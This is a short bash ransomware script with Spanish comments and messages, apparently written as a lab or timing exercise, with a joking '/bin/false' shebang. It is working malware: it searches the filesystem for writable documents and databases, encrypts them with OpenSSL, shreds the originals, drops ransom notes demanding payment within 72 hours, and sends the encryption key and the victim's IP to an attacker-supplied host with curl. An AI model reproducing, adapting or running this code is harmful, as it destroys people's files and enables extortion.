#!/bin/false
# /bin/false porque no quiero ejecutar esto :)

IP=$1
KEY=$(openssl rand -hex 32)

function get_writeable_dirs() {
        WRITEABLE_DIRS=()
        while IFS= read -r dir; do
                WRITEABLE_DIRS+=("$dir")
        done < <(find / -type d -perm -0002)
}

function get_interesting_files() {
        TARGETS=()
        while IFS= read -r file; do
                TARGETS+=("$file")
        done < <(find / -type f -writable \( -name "*.txt" -o -name "*.pdf" -o -name "*.docx" -o -name "*.db" \))
}

function send_key() {
        curl -sk "https://$IP/?k=$KEY&v=$(curl -s4 ifconfig.me)"
}

function make_readme() {
        for dir in "${WRITEABLE_DIRS[@]}"; do
                echo "Tus archivos han sido cifrados. Tienes 72 horas para pagar." > "$dir/LEEME_URGENTE.txt"
        done
}

function encrypt() {
        for file in "${TARGETS[@]}"; do
                openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" -in "$file" -out "$file.enc"
                shred -u "$file"
        done
}

function main() {
        echo "[*] Reconocimiento: directorios escribibles..."
        time get_writeable_dirs
        echo "[+] ${#WRITEABLE_DIRS[@]} directorios encontrados."

        echo "[*] Reconocimiento: archivos objetivo..."
        time get_interesting_files
        echo "[+] ${#TARGETS[@]} archivos encontrados."

        echo "[*] Cifrando (for loop, secuencial)..."
        time encrypt
        echo "[+] Cifrado completo."

        echo "[*] Depositando notas de rescate..."
        time make_readme
        echo "[+] Notas en ${#WRITEABLE_DIRS[@]} directorios."

        echo "[*] Exfiltrando clave a $IP..."
        send_key
        echo "[+] Hecho."
}

main "$@"
